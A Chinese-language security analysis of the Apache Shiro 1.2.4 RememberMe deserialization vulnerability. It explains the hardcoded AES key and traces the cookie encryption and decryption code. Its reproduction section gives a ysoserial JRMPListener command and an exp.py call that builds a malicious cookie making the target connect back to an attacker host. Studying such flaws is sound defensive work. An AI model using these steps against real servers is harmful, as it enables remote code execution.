Shiro反序列化分析
环境
jdk:1.8
shiro:1.2.4
Shiro简介
Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。
漏洞原理
Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie。cookie的key为RememberMe,cookie的值是经过对相关信息进行序列化,然后使用aes加密,最后在使用base64编码处理形成的。
rememberMe生成过程:
序列化 》AES加密》Base64 编码》 生成rememberMe内容
服务端接收cookie值时:
检索cookie中的rememberMe内容 》 Base64 解密》 AES解密 (加密密钥硬编码)》反序列化(未作过滤处理)
AES的加密密钥在shiro的1.2.4之前版本中使用的是硬编码,其默认密钥的base64编码后的值可在代码中找到。只要找到密钥后就可以通过构造恶意的序列化对象进行编码,加密,然后作为cookie加密发送,服务端接收后会解密并触发反序列化漏洞。
漏洞分析
1.加密过程
勾选rememberme进行登录。
在AbstractRememberMeManager类中的encrypt方法处下断点。在验证登录成功后,serialized的值为用户名root序列化后的数据。
查看cipherService值,发现使用AES加密,模式为CBC,128位,填充方式为PKCS5Padding。
跟进cipherService.encrypt方法后,进入JcaCipherService类中的encrypt方法中。
继续跟进encrypt方法。
真正的生成加密结果。
来到rememberSerializedIdentity方法,跟进后,加密的数据经base64编码加入到cookie中。
2.解密过程
在CookieRememberMeManager类中的读取cookie处下断点。
进入readValue()方法,将cookie中的remember字段值赋予value并返回。
对数据进行base64解码。
进入AbstractRememberMeManager类中的convertBytesToPrincipals方法。
跟进decrypt方法。
在decrypt方法中,跟进getCipherService方法。
在getCipherService方法中,获取加密方法:AES/CBC/PKCS5Padding。
继续查看decrypt方法,通过cipherService的decrypt来解密数据,跟进后进入JcaCipherService类中的decrypt方法。
继续跟进decrypt方法。
完成解密后,返回解密后的数据。
回到AbstractRememberMeManager 类中的decrypt方法,查看序列化数据。
来到deserialize方法,跟进。
继续跟进deserialize方法。
进入DefaultSerializer类中的deserialize方法,出现readObject()。
漏洞复现
1.使用ysoserial中JRMP监听模块监听1099端口,执行命令:calc.exe。
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "calc.exe"
2.生成rememberMe。
python exp.py 192.168.1.102:1099
3.将生成的rememberMe值添加到cookie中。
4.命令成功执行。
参考链接:
https://xz.aliyun.com/t/8997#toc-1
https://www.jianshu.com/p/a9c2d3414b63
https://cloud.tencent.com/developer/article/1078421